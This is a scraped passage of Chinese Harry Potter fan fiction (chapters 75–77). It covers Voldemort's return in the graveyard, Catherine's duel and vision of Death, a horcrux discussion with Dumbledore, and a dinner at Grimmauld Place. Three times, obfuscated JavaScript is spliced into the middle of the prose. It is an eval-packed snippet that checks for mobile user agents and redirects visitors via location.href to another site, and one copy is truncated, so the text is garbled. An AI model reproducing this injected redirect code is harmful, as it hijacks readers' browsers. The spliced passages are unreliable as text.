钳锅快要沸腾了,钻石般的火星向四外飞溅,如此明亮耀眼,使周围的一切都变成了黑天鹅绒般的颜色。 但愿它已经淹死了,哈利想,但愿不会成功…… 突然,坩埚上的火星熄灭了。一股白色蒸气从坩埚里升腾起来,掩去了哈利面前的一切。他看不见躺倒在地上的小巴蒂·克劳奇,只见一片白茫茫的水气……肯定不成功……它淹死了……求求你……求求你让它死掉吧…… 接着,透过眼前的白雾,他毛骨悚然地看到坩埚中缓缓升起一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145580|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人的黑色身形,又高又瘦,他怀中还抱着刚才那个黑衣女人。 “给我穿衣。”那个冷酷、低沉的声音在蒸气后面说。小巴蒂·克劳奇仍护着他的残臂,但听到命令又兴奋地爬起来,慌忙从地上抓起裹包袱的黑色长袍,站起来,用一只手把它套到他主人的头上。 瘦男人跨出坩埚,将黑衣女人轻轻地放在了草地上。然后转身朝哈利走过来。 他看起来比二年级在密室看到的灵魂要年长一些,脸比骷髅还要苍白,脸颊凹了进去,鼻梁高挺,头发乌黑,有几缕发丝垂在眼前——眼睛像蛇一样,瞳孔是两条细细的线,红光在眼睛里明明灭灭。 随后,伏地魔将目光从哈利身上移开,开始检查他自己的身体。他的手瘦而长,但哈利觉得像大蜘蛛。他用细长苍白的手指抚摸着胸口、手臂、脸庞;那双红眼睛在黑暗中显得更亮。 他举起双手,活动着手指,然后摸到了头顶和鼻子,然后发出一声低吼。 “怎么会这样!”他的目光朝倒在地上仍然没有醒来的那个兜帽女看去。“究竟是那个混蛋父亲,还是她的问题,让我又回归了麻瓜的长相?” 他在那里发怒,哈利觉得伤疤更加疼了。那条大蛇,它不知何时又游了回来,嘶嘶地围着哈利打转。 “罢了。”过了几分钟,他终于冷静下来,口袋里抽出一根白色的魔杖,先把魔杖也轻轻抚摸一遍,然后转过身,举起魔杖指着小巴蒂·克劳奇。 伏地魔走到克劳奇面前,拉起克劳奇的左臂,把他的衣袖搭到胳膊肘上面。哈利看到那处皮肤上有个东西,好像是鲜红的文身图案——一个骷髅嘴里吐出一条蛇,是魁地奇世界杯赛上出现过的那个图形:黑魔标记。 伏地魔仔细端详着它,而克劳奇依旧因为疼痛而浑身微微颤抖。 “它回来了,”他轻声说,“他们都会注意到它的……现在,我们会看到……我们会知道……” 他把瘦长的食指按在克劳奇的胳膊上。 哈利前额的伤疤再一次剧痛起来,克劳奇又发出一声哀号。伏地魔把手指从克劳奇的印记上拿开,哈利看见印记变成了漆黑的颜色。 伏地魔脸上露出残酷的得意神情。他直起腰,把头一扬,扫视着黑暗的墓地。 “在感觉到它之后,有多少人有胆量回来?”他喃喃道,发光的红眼睛盯着天上的星星,“又有多少人会愚蠢地不来?” 他开始在哈利和克劳奇面前来回踱步,不时扫视着墓地。大约一分钟后,他的视线又落到哈利身上,英俊的脸上露出一丝残酷的微笑。 “哈利·波特,你正站在我父亲的尸骨上。”他轻轻地说,“他是一个麻瓜加蠢货……他竟敢那样对她的女儿……因此,我杀死了我父亲,你看,他死后派上的用场可比活着大多了……” 伏地魔又笑起来。他一面来回踱步,一面扫视着四周,那条蛇还在草地上转悠。 “看到山坡上那所房子了吗,波特?我父亲在那儿住过。我母亲是个巫师,住在这个村子里,爱上了他。可当她说出自己的身分之后,他抛弃了她……我父亲他不喜欢魔法…… “他离开了她,回到他的麻瓜父母身边,那时我还没有出生,波特。我母亲生了我和我的妹妹,然后她又抛弃了我们。 我们在麻瓜孤儿院长大……但我发誓要找到他……我妹妹先我一步,但是惨遭他们的虐/待。我向他们报了仇,那个让我不得不有着和他一样的名字和一样的长相的人……汤姆·里德尔。” 77.chapter75 “听我回忆家史……”他轻声说,“这些都没有意义。更重要的是,要有一帮最忠诚的伙伴啊……” 空气中突然充满了斗篷的窸窸窣窣声。在坟墓之间,在杉树后面,每一处阴暗的地方都有巫师幻影显形。他们全都戴着兜帽,蒙着面孔。他们一个个走过来……走得很慢,小心翼翼,仿佛不敢相信自己的眼睛。伏地魔沉默地站在那里等着。一个食死徒跪倒在地,爬到伏地魔跟前,亲吻他黑袍的下摆。 “主人……主人……”他低声唤道。 他身后的食死徒也是一样,许多人都跪着爬到伏地魔身边,亲吻他的长袍,然后退到一旁,站起身,默默地组成一个圈子,把汤姆·里德尔的坟墓、哈利、伏地魔和靠着墓碑抽搐的克劳奇围在中间。但圈子上还留着一些间隔,好像等着其他人的加入。然而伏地魔却似乎不再期待有人来了。他环视着一张张戴着兜帽的面孔,尽管没有风,但圈子中却似乎掠过一阵细微的沙沙声,仿佛那圈子打了一个哆嗦。 “欢迎你们,食死徒,”伏地魔平静地说,“十三年……从我们上次集会已经有十三年了。但你们还是像昨天一样响应我的召唤……就是说,我们仍然团结在黑魔标记之下!是吗?” 他抬起头。 “我闻到了愧疚,”他说,“空气中有一股愧疚的臭味。” 圈子又哆嗦了一下,似乎每个人都想向后退,但又不敢动。 “我看见你们,健康无恙,魔力一如从前——这样迅速地赶到!——我问我自己……为什么这帮巫师一直不来帮助他们的主人,帮助他们宣誓要永远效忠的人?” 没有人说话,没有人敢动。只有克劳奇倒在地上,捧着流血的手臂颤抖着。 “我回答自己,”伏地魔轻声说,“他们一定是相信我不行了,以为我完蛋了。他们溜回到我的敌人中间,说自己是无辜的,不知情,中了妖术…… “我又问自己,可他们为什么就相信我不会东山再起呢?他们不是知道我很久以前就采取了防止死亡的办法吗?他们不是在我比任何巫师都更强大的时候,目睹过我无数次地证明自己法力无边吗? “我回答自己,或许他们相信还存在更强大的力量,能够战胜伏地魔……或许他们现在已经效忠他人……说不定就是那个下里巴人的头目,那个泥巴种和麻瓜的保护人,阿不思·邓布利多?” 听到邓布利多的名字,圈子中的成员骚动起来,有人嘴里嘀咕着,不停地摇头。伏地魔不予理睬。 “这让我失望……我承认我感到失望……” 圈子中的一人突然扑倒在地,他匍匐在伏地魔的脚下,从头到脚都在发抖。 “主人!”他尖叫道,“主人,饶恕我!饶恕我们吧!” 伏地魔冷笑起来,举起了魔杖。 “钻心剜骨!” 倒在地上的那个食死徒痛苦地扭动、惨叫。哈利相信这声音一定会传到周围的房子里……快叫警察来吧,他绝望地想……不管是谁……不管怎样…… 伏地魔抬起魔杖。受刑的食死徒平躺在地上,喘着粗气。 “起来吧,埃弗里,”伏地魔轻声说,“站起来。你求我饶恕?我不会饶恕。我不会忘记。漫长的十三年……我要你们还清十三年的债,然后才会饶恕你们。克劳奇自然是大功一件……原本这件荣耀的事情我另有其他的人选……只可惜,那只龌/龊的老鼠害怕了,他想临阵逃脱,想变成老鼠溜走……最后的结局,自然就是成为纳吉尼的晚餐,你们觉得有没有道理?” 黑衣人们一个个都颤抖起来。 “这就是不忠的下场!他回来找我,不是因为忠诚,而是因为他害怕他的那帮老朋友们,但是当他见到我,却依旧害怕,这种墙头草,自然只有一种下场。至于克劳奇——你做的非常好。” 伏地魔再次举起魔杖,在空中舞动,魔杖头上划出一道像熔化的白银般的光带,起先并没有形状,随后光带扭曲起来,变成了一只闪闪发光的人手,像月光一样明亮。它自己飞了下来,安在克劳奇流血的手腕上。 克劳奇突然停止了颤抖,他的呼吸粗重,但是他抬起头,不敢相信似的看着这只银色的手。它天衣无缝地接在他的手臂上,就好像他戴了一只耀眼的手套。他试着弯曲闪光的手指,又颤抖地从地上捡起一根树枝,把它捏成了粉末。 “我的主人,”他轻声说,“主人……太漂亮了……谢谢您……谢谢您……” 他跪着爬过去,亲吻伏地魔的袍子。 “希望你能够永远忠诚,克劳奇。”伏地魔说。 “会的,我的主人……永远都会,我的主人……” 克劳奇站起来,也加入那个圈子中,脸上还带着泪光,反复端详着他那只有力的新手。伏地魔朝克劳奇右边的一个人走去。 “卢修斯,我狡猾的朋友,”他在那人面前停住,低声说道,“我听说你并没有放弃过去的行为,尽管你在世人面前装出一副道貌岸然的面孔。我相信你仍然愿意带头折磨麻瓜吧?可你从来没有去寻找我,卢修斯……你在魁地奇世界杯上的举动倒是挺有趣……但如果你把精力花在寻找和帮助你的主人上面,不是更好吗?” “主人,我一直非常留心,”卢修斯·马尔福的声音迅速从兜帽下面传来,“只要有您的任何信号,只要有关于您下落的任何传言,我立刻就会赶到您身边,什么也拦不住我——” “可去年夏天当一名忠实的食死徒把我的标记发射到空中后,你却逃走了。”伏地魔懒洋洋地说——马尔福先生突然闭了嘴,“是啊,我都知道,卢修斯……你令我失望……我希望你以后更忠诚地为我效力。” “当然,主人,当然……您宽宏大量,谢谢您……” 伏地魔走了两步,停下来,看着马尔福和旁边一人之间的空隙——这空隙够站两个人。 “莱斯特兰夫妇应该站在这里,”伏地魔轻声说,“可是他们被活埋在了阿兹卡班。他们是忠诚的。他们宁肯进阿兹卡班也不愿背弃我……当阿兹卡班被攻破之后,莱斯特兰夫妇将得到他们梦想不到的奖赏。摄魂怪将加入我们……他们是我们的天然同盟……我们将召回被驱逐的巨人……我将找回我所有忠诚的仆人,重新拥有一批人人畏惧的神奇生物……” 他继续走动,走过一些食死徒面前时没有做声,在另一些人面前停了下来。 “雷古勒斯……克劳奇告诉我,你在魔法部当差,消灭野兽?不久就会有更好的东西让你去消灭的,雷古勒斯,伏地魔将提供……” 雷古勒斯?哈利几乎不敢相信自己的耳朵,但是他知道,他教父的弟弟,从斯莱特林毕业,十六岁就加入了食死徒,现在是霍格沃茨的校董,还在魔法部里有工作。 “谢谢您,主人……谢谢您。”雷古勒斯喃喃道。 “啊,”——伏地魔走到两个块头最大的、戴着兜帽的人影面前——“克拉布……你这次会表现得好一点儿,是吗,克拉布?还有你,高尔?”两人笨拙地鞠了一躬,傻乎乎地嘟哝着。 “是,主人……” “会的,主人……” “你呢,诺特?”伏地魔对笼罩在高尔先生阴影下的一个驼背人轻声问道。 “主人,我匍匐在您面前,我是您最忠诚——” “够了。”伏地魔说。 他走到了最大的一个空档跟前,用空洞的红眼睛打量着它,就好像有人站在那里似的。 “这里少了六个食死徒……有三个为我死了,有一个没胆子回来……他会付出代价的。另一个,我想是永远离开我了……他当然会被处死……” 伏地魔懒洋洋地走到哈利身边,整个圈子的目光都落到他们两个人身上。大蛇继续在那里转悠。 “你们当然知道,他们说这个男孩是我的克星,是吗?”伏地魔轻声说道,他的红眼睛盯着哈利,哈利的伤疤火辣辣地剧痛,使他差点儿尖叫起来,“你们都知道,在我失去魔力和肉/体的那个夜晚,我想要杀死他。他母亲为救他而死——无意中使他获得了某种保护,我承认这是我没有料到的……我不能碰那个男孩。” 伏地魔伸出一根细长苍白的手指,凑近哈利的面颊。 “他母亲在他身上留下了她牺牲的痕迹……这是一种古老的魔法。我应该记得的,但我却愚蠢地忽略了……不过没关系,我现在可以碰他了。” 哈利感到那细长苍白的手指的冰凉指尖触到了他的皮肤,他的头疼得仿佛要炸开了。伏地魔在他耳边轻笑一声,移开手指。 “……他就在这儿……你们都认为是我的克星的这个男孩……” 伏地魔慢慢走向前,转身对着哈利,举起了魔杖。 “钻心剜骨!” 哈利从未经受过这样痛苦的折磨,他全身的骨头都在燃烧,他的脑袋肯定是沿着伤疤裂开了,他的眼球在脑壳里疯狂地转动,他希望赶快停止……希望自己昏过去……死掉…… 折磨突然结束了。他瘫软地挂在把他绑在伏地魔父亲墓碑上的绳索上,抬头透过一层雾气,终于看到了折磨终止的原因。 那个黑衣女子此刻已经站在了他前面,哈利可以看到她又长又卷的黑发——她此刻正拿着哈利的冬青木魔杖,应该是给他施了防御咒。 “凯瑟琳,让开。”远处的伏地魔的笑容消失了,哈利感觉伤疤又开始火辣辣地痛了起来,他知道他一定此刻非常愤怒。 “主人,让我——”一个食死徒说道,似乎是雷古勒斯的声音,但是被伏地魔制止了。 “除了我,谁也不准动她。” 黑衣女子自然有恃无恐,她旁若无人地对哈利施了松绑的咒语,哈利落到了地上,伤腿又开始疼痛。 “愈合如初。”凯瑟琳用哈利的魔杖指着他的那条伤腿说道,哈利立刻感觉自己的腿没有那么疼了。她的声音令哈利非常熟悉——他意识到那正是经常在脑海里对话的那个女孩,而她的名字正是凯瑟琳。 “凯瑟琳,你是要和我作对,是吗?”伏地魔再次开口了,他似乎并不认为凯瑟琳能帮哈利逃走。“你把魔杖给哈利,让我们进行一场男人的决斗——哈利,躲在一个又一个的女人身后,你很厉害吗?” 伏地魔身后的食死徒笑起来。 哈利感觉有怒火在胸中翻腾——但是如果他出去,又能有几层胜算?” 正当他犹豫的时候,凯瑟琳忽然朝伏地魔发动了攻击。 “除你武器!” 伏地魔下意识地也使用了同样的咒语。 一道红光从伏地魔的魔杖中射出,同时凯瑟琳手里哈利的魔杖中也射出了一道红光——两道光在空中相遇——哈利看到凯瑟琳手中的魔杖突然像通了电似的颤动了起来,她紧紧攥住它,黑色的长发被产生的强风吹得飘动起来,一道细细的光束连接着两根魔杖,既不是红的也不是绿的,而是耀眼的金色。 哈利惊奇地顺着光束望去,只见伏地魔苍白细长的手指也握着一根颤动的魔杖。 然后完全猝不及防地,凯瑟琳和伏地魔都升到了空中,两根魔杖仍然被那道闪烁的金线连在一起。 “哈利!快用门钥匙离开!”这时,哈利脑海里响起了凯瑟琳的声音。他抬起头,却没有看到空中的凯瑟琳并没有看他,只是他脑海里凯瑟琳在说话。 站在地上的食死徒们在喊叫,请求伏地魔的指示。 连接凯瑟琳和伏地魔的那根金线突然裂开了,但两根魔杖仍然紧紧相连,凯瑟琳和伏地魔的上方出现了上千道光弧。光弧在他们周围相互交织,最后形成了一个圆顶的金网,一个由光构成的笼子。食死徒们像野狗一样围在笼外,他们的叫声奇怪地减弱了。 “不要过来!”伏地魔高声向食死徒们喊道,哈利看到他的红眼睛惊愕地张大了,看得出他对眼前的情景十分震惊,竭力想挣断连接两根魔杖的散裂光丝。凯瑟琳用双手死死攥住魔杖,金线仍然连在一起。 “去抓住哈利!”伏地魔朝食死徒们喊道。 “快走!哈利!”哈利脑海中的凯瑟琳语气变得焦急。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他只是一个很小很脆弱,像受伤的婴儿一样的东西,发着抖,喘着气,还在发出微弱的哀嚎声。 凯瑟琳知道那个东西是谁。她觉得她需要有一条毯子,或者一个襁褓,好把这个婴儿从地上拿起来。 她试图靠近他,但是不能再往前了。有一堵无形的墙横在了她的脚尖处。 “看看吧,凯瑟琳·里德尔。这就是他最终会得到的神罚。” 一个声音,有些熟悉且平静的声音,从圆顶建筑的四面八方传来。 “你是谁?”凯瑟琳问。 “我是死神。”那个声音说道。 “死神?” “没错。但是别紧张,你们还没有死。”死神说道,“兄弟魔杖不愿自相残杀,而有血缘的人无法杀死另外一个人。因此,你们来到了这里,迷离幻境。” 凯瑟琳的视线依旧没有离开那个颤抖的婴儿。 “那……是不是说明,他已经无药可救了?” “是的。我们帮不了他。”死神说道,但是他的语气听起来很轻松。“别沮丧——你看到的是未来发生的事。凯瑟琳。” “未来?”凯瑟琳重复着死神的话。 “在未来的这一刻,将无人救他;在另外的时空里,也无人救他。在一切还来的记得时候,并没有人知道未来会发生什么。所以,一定要说有什么胜过死亡……”死神的话停顿了,似乎是在给凯瑟琳留下思考的时间。 过了半晌,他继续说道。 “是时间。时间能够改变一切……后悔的人,懒惰的人,无知的人,祈求被给予更多的时间去忏悔。勤勉的人,智慧的人,坦然的人,他们在与时间赛跑,争分夺秒地在活着的时候做一些有意义的事情。” 凯瑟琳觉得死神说的话,她能听懂,却不解其意。 死神叹了一口气。 “我决定给你们兄妹一个机会。漫漫生命的长河中,他分裂了灵魂——他违反了自然的规律,也就违背了世界运行的法则。正如你所看见的,在未来,他会变成那样,永远被困在迷离幻境中,不生,不死,孤独,弱小。令人怜悯,但是一切都于事无补了。” “什么机会?”凯瑟琳问。 “准确的说,是给你的。”死神说,“你也一样违背了生死的法则,但是你拥有他所不了解的力量,你的爱。尝试修补破碎的灵魂,只是亡羊补牢的下下策……因此,我决定我给你一年的时间,如果你不想未来的结局是这样,如果你想让那些无辜的人幸免于难——只要你能够集齐死亡圣器,然后在合适的地点,就能够回溯到一切罪恶的开端。” “抱歉——死神先生,合适的地点是哪里?”凯瑟琳问道。 “神秘事务司。”死神回答道。他的声音飘得很远,随着他声音的消失,眼前哭泣的婴儿和华丽的建筑也慢慢消失了,白光笼罩了一切,她发觉自己正躺在草地上,而对面的伏地魔还没有醒来。食死徒围在他身边,看起来人心惶惶。 顾不得一切,凯瑟琳使用了幻影移形,回到了霍格莫德。 * “凯瑟琳,快进来!”阿不福思站在霍格莫德巷子路口的猪头酒吧门口朝凯瑟琳招手,凯瑟琳赶忙跟着他躲进猪头酒吧。 “哈利已经回去了,”阿不福思领着她朝楼上走去,“我妹妹的画像可以直通有求必应屋,我想,你应该有很多事情要找校长谈谈。” “谢谢您!”凯瑟琳现在已经无法表达对阿不福思的感激之情了,他已经帮了她太多次。 阿不福思没有接话,他绕过小桌子走到阿莉安娜的画像跟前。 金发的姑娘笑了笑,转身走开了。她并不是像一般画像里的人那样从一侧走出画框,而是沿着身后像是画出来的一条长长的通道。他们看着她的身影一点点变小,最后消失在黑暗之中。随后,整幅画像一扇小门一样打开了,门后露出了一条密道的入口。 “快去吧,凯瑟琳。”当凯瑟琳钻进密道之后,听见阿不福思少见的温柔的声音。 78.chapter76 凯瑟琳在校长办公室里等了好一会儿,邓布利多才独自从外面回来。 “哈利怎么样了?”凯瑟琳问。 “我让他和我说说发生了什么,刚刚和西里斯一起把他送去医疗翼休息了。”邓布利多说道。“凯瑟琳,我很高兴你回来了。” “应该的。”凯瑟琳有些局促地说。她终于意识到起自己在迷离幻境听到的声音,其实和邓布利多很像,但是邓布利多怎么会是…… “邓布利多先生,我有很多事想和您聊聊。”她说道。 邓布利多示意凯瑟琳和他一起走到冥想盆的旁边,然后向凯瑟琳展示了几段记忆。 “雷古勒斯帮我弄到了斯拉格霍恩关于‘魂器’的记忆,很显然,他比我想的要有说服力很多。”邓布利多说道,“他帮我弄到了斯拉格霍恩真实的记忆,让我知道,汤姆实际上制作了七个魂器。” 墙上的画像惊叫出声,但凯瑟琳似乎并不意外。 “我哥哥很早之前就跟我说过,他要制作一些魂器。我在……之前,并不知道他的用意,我以为是像古埃及麻瓜那样,用瓶瓶罐罐封装一个人的器/官,当然,那显然只是迷信。” “其实本来应该像你所理解的那样。斯拉格霍恩教授所说的魂器的用途,是把自己的一部分灵魂‘安全’地封存起来,而不是扔到别人的路上去冒被消灭的危险――他的那几片灵魂本应该不复存在,但是你把它救了回来。” “哈利刚才告诉我,汤姆复活的时候,他对食死徒说一句最令人警醒的话:‘我,在长生的路上比谁走得都远。’,他是在指他的魂器,并且是多个魂器。我相信这是其他任何巫师都不曾有过的。但种种迹象都很吻合这些年来汤姆似乎变得越来越不像人,我想那种变形只能解释为,他的灵魂受到的破坏超出了我们所说的一般邪恶的范围……但是哈利又跟我说,他看到了汤姆在复活仪式上,恢复了原本的模样。” 邓布利多看着凯瑟琳。 “我想,这是你努力的功劳。十三年前,他自己摧毁了挂坠盒里的那一片灵魂,然后被封存在了你的身体里;七年前,也就是你还在沉睡的时候,雷古勒斯说服他母亲,利用身份之便,拿走了他姐姐的钥匙,进入了莱斯特兰奇的金库,然后摧毁了赫奇帕奇的金杯;两年前,你和哈利一起摧毁了他的日记本。” 接着,邓布利多举起他那只焦黑的手说,“那个戒指,马沃罗的戒指——我想你肯定是知道的。那上面有一个可怕的咒语,这在后来也被他做成了魂器。我打碎了戒指,消灭了其中的恶咒……我当时毫无疑问失去意识了……”邓布利多说道。“汤姆无时无刻不想杀掉我,所以我知道当时我面前的人是真正的你。” “当时他附身在我身上,灵魂进入身体也需要时间,然后我抓住机会控制了自己。复活石……现在也在我身上。”凯瑟琳从袍子口袋里掏出那块黑色的小石头,但邓布利多并没有接过它。 “我们先说魂器的事情。虽然我很感谢你当时没有杀死我……凯瑟琳,你很了解你哥哥,所以你之前把挂坠盒留给了他——汤姆喜欢收集纪念品,他喜欢具有强大魔法且有历史意义的物品。他的骄傲、他的优越感、他为自己在魔法史上占取惊人地位的决心,这些都让我觉得汤姆会精心挑选他的魂器,偏爱配得上这份荣誉的物品。至于日记本——我相信汤姆认为它意义重大。” 邓布利多的蓝眼睛看着凯瑟琳,他已经知道那是凯瑟琳送给汤姆的生日礼物,那几行小字被施了魔法,墨迹被吸进了纸张里,只留下了“汤·里德尔”几个字。原本的一行字是: 【祝我亲爱的哥哥,汤·里德尔,生日快乐。12.31.1942】 “雷古勒斯是怎么摧毁金杯的?”凯瑟琳又问。 “我把格兰芬多的宝剑给了他。凯瑟琳,我有时觉得,分院帽的决定还是太草率了,很多人会因为爱而产生意想不到的勇气。” “那么,我们现在还剩下三个……”凯瑟琳喃喃道,“他在附身我的时候和我说过,纳吉尼被他制成了最后一个魂器。但是他会一直带在身边。” “哈利认为拉文克劳的冠冕也是其中之一。”邓布利多点着头说道,“我认为这是一个合理的猜测。” “那么还剩下一个……”凯瑟琳沉吟半晌,忽然露出了恍然大悟的神色。 “先生,哈利他——也是魂器?” 邓布利多又点了点头。 “哈利是他无意中制成的魂器,也就是说,他把自己的灵魂分成了八片,除了最核心的那一片让他能够在失去肉/身后活下来,其他几片都被他存在各个地方。”邓布利多接着说道,“当然,凯瑟琳,你的一半灵魂,原本在很就以前存放在了汤姆的身体里,但是他并没有意识到,在他试图杀死哈利时,那部分灵魂,和他的灵魂,被装进了哈利体内,这也就是为什么哈利说他能够在脑海里和另一个‘你’对话。” 凯瑟琳好一会儿都没有说话。过了一阵子,她终于又开口了。 “先生,我势必是要取回所有的灵魂……但是,总不能——总不能——我是说——有没有不摧毁魂器就能拿回灵魂的方法,不然,哈利——” “那就需要你来寻找答案了。”邓布利多说道。然后他忽然话锋一转,问道。 “你应该还有什么事情要和我说吧?” 凯瑟琳点点头。“当我用哈利的魔杖和——他交战的时候,出现了奇异的现象。我想哈利肯定也跟您说了,但是他不知道后面发生的事情。后来,我们到了一个另外一个空间,或许我能说是四维的,在那里,我见到了死神。他说,可以给我们一个重新来过的机会。” “继续。”邓布利多说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156732|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “总之,收集灵魂的事,我是一定会做完的,但现在又多了一件事情。”凯瑟琳的神色很犹豫,她的目光落在邓布利多的魔杖上面,然后又回到了邓布利多脸上。 “我不知道我应该怎么做。先生。我很迷茫。”她说。 邓布利多看着凯瑟琳,然后他带着她坐回书桌前,将那只焦黑枯槁的手放在她面前。 “你觉得我还有多长时间?”他语气很平和,就像在问明天的天气。 凯瑟琳闭口不答。她脸上的愧疚之色几乎吞没了所有的言语。 “对不起,我不知道应该怎么解除这种诅咒。”凯瑟琳说道。 “不是解除。”邓布利多说,“我想让你杀了我。” 屋子里沉寂了很久,直到被一种奇怪的滴答声打破。那是凤凰福克斯正在咬鱼骨的声音。 “我绝不会用这种方式——” “哦,不是你理解的那样,”邓布利多笑着说,“那个时刻该出现时自然就会出现。” “可是,为什么是我?” “杀人会伤害一个人的灵魂,让其他任何一个人做都是一种残忍。”邓布利多平静地说,“因此,我只能求助于一个本不应该出现的人——更何况,你向我保证过,要从汤姆手中救回更多的人。” “可是,我不明白,先生。为什么……这样是在救您。” “不,你很明白。帮助一个老人解除痛苦和屈辱究不是件伤害灵魂的事。”邓布利多说,“你哥哥的恶咒——说句难听的——让我已经死定了,就像查得利炮弹队肯定要继续垫底那么肯定。汤姆的力量将会恢复得很快,到那时候,事态就不是雷古勒斯和西弗勒斯两个人能暗中干扰的了。” 凯瑟琳低头抠着手指,最后终于低声地答应了。 “谢谢你,凯瑟琳。” 凯瑟琳又拿出了那颗黑色的宝石。 “先生,我不明白,为什么您当时会把复活石交给我。” “我被诱惑了,凯瑟琳。”邓布利多说道,“我以为,这颗石头能够帮助我复活我的妹妹阿莉安娜,我在想,或许这样就能减轻我一直以来的负担,也能和我的弟弟重归于好。但是当我戴在戒指的那一刻,我就明白了,复活石没有复活的力量。只能带来一个人的灵魂……而你和汤姆在很早的时候就已经意识到了这一点,这也就是为什么他从很早以前就不戴那枚戒指了。” 邓布利多拿出挂坠盒,然后将它和复活石一并推到凯瑟琳面前。 “收好他们。为了死神的那个希望,别让他拿走。” 凯瑟琳点了点头。她用蛇佬腔打开了挂坠盒,然后把复活石装了进去。 “……那么,最后一件事。”邓布利多说道。“如何从哈利那边获得隐形衣,如何获得最后三片灵魂,这些麻烦事,就靠你来解决了……” 79.chapter77 一整个暑假,哈利不得不继续在德思礼家生活。接着,摄魂怪袭击达力表哥的事情让他不得不接受魔法部的审判——但是他最后逃过一劫。雷古勒斯动用了在魔法部的关系,让哈利顺利地躲过了审讯——西里斯对他弟弟的举动表示满意,认为他终于做了一件正确的事情。 开学之前,他终于得以住到教父的家里,也就是布莱克的祖宅。经过雷古勒斯的授意,现在这里已经变成了凤凰社新的总部。 然后,哈利终于找到了机会可以和他一直好奇的人谈一谈——凯瑟琳。 在餐桌上。 “十五世纪小妖精制造的最精美银器,上面还刻着布莱克家族的饰章。”西里斯皱着眉看着面前纯银制的杯子,语气里全是讽刺。 “有什么不对吗?”雷古勒斯也不悦地皱起眉,“你非要看到布莱克家族完全灭绝才开心吗?” “想吵架是不是?”西里斯脸头都懒得扭过去,他和雷古勒斯依旧坐在餐桌的两侧。 凯瑟琳拉住了雷古勒斯的胳膊,示意他不要跟他哥哥因为这点小事又争吵起来。一边小声和他说着什么。 “能吃饭就行,”哈利劝道,“还是吃饭吧——” “弗雷德——乔治——别这样,把它们端起来!”韦斯莱夫人大喊道。 餐桌上的其他几人扭头一看,说时迟那时快,几个人赶紧一猫腰,从桌子旁躲开了。 弗雷德和乔治动用魔法把一大锅炖菜、一大铁壶黄油啤酒、一块沉重的切面包板,外加一把刀子,一股脑儿地朝他们猛抛过来。那锅炖菜哧溜溜滑过整个桌面,正好在桌子边缘停住了,木头桌面上留下了一长条烧焦发黑的痕迹。那壶黄油啤酒哗啦一声翻倒了,啤酒洒得到处都是。切面包的刀子从板上掉下来,刀尖朝下扎进了桌子,凶险地微颤着,那正好是几秒钟前西里斯的右手放着的地方。 “看在老天的分儿上!”韦斯莱夫人大声嚷道,“没必要这么做——这一套我受够了——就算现在允许你们使用魔法了,你们也用不着做每件鸡毛蒜皮的小事都挥动魔杖吧!” “我们只是为了节约一点儿时间!”弗雷德说着匆忙赶过来,把切面包的刀子拔出桌面,“对不起,西里斯,哥们儿——不是故意的——” 西里斯放声大笑。而雷古勒斯的脸黑了下来。克鲁克山愤怒地嘶嘶叫了一声,箭一般地钻到碗橱底下去了,那双黄澄澄的大眼睛在黑暗中闪闪发亮。 “儿子们,”韦斯莱先生把那锅炖菜重新端到桌子中央,说道,“你们的妈妈说得对,你们现在已经长大成人,应该表现出一点责任感了——” “我们吃饭吧。”塞德里克赶紧打圆场说道,他中了夺魂咒,但是在暑假里恢复了过来,并且坚定地加入了凤凰社。 “看上去很不错啊,莫丽。”卢平说着替她盛了一些炖菜在盘子里,隔着桌子递了过去。 几分钟没有人说话,只有大家坐下来就餐时盘子和餐具发出的碰撞声,还有椅子的摩擦声。 在哈利对面,唐克斯一边吃饭一边给她的鼻子变形,逗赫敏和金妮开心。每次她都紧紧地闭上眼睛,露出她在哈利卧室里时露出的那种痛苦表情,她的鼻子忽而肿胀得像鸟嘴一样,看上去活像是斯内普的大鼻子,忽而又缩回去,变成圆球蘑菇一般大小,然后每个鼻孔里都冒出一大堆鼻毛。这显然是吃饭时的固定娱乐节目,因为很快赫敏和金妮就要求她变出她们最喜欢的鼻子。 “变出一只猪鼻子来,唐克斯。” 唐克斯照办了,哈利抬起头,刹那间,他还以为一个女达力正隔着桌子朝他咧嘴微笑呢。 韦斯莱先生、比尔和卢平正在进行一场关于妖精的激烈讨论。 “他们还是滴水不漏,什么也不肯说,”比尔说,“我仍然弄不清楚他们是不是相信他回来了。当然,他们大概不想支持任何一方,不想卷到这里头来。” “我相信他们决不会倒向神秘人那边,”韦斯莱先生摇着头说道,“他们的损失也很惨重。还记得他上次杀害的那一家妖精吗,就在诺丁汉附近?” “我想,那得看人家给他们开出了什么价码,”卢平说,“我说的不是金子。如果有人向他们提供我们几个世纪以来不肯给他们的自由,他们就会抵挡不住诱惑。比尔,拉格诺那边还是没有丝毫转机吗?” 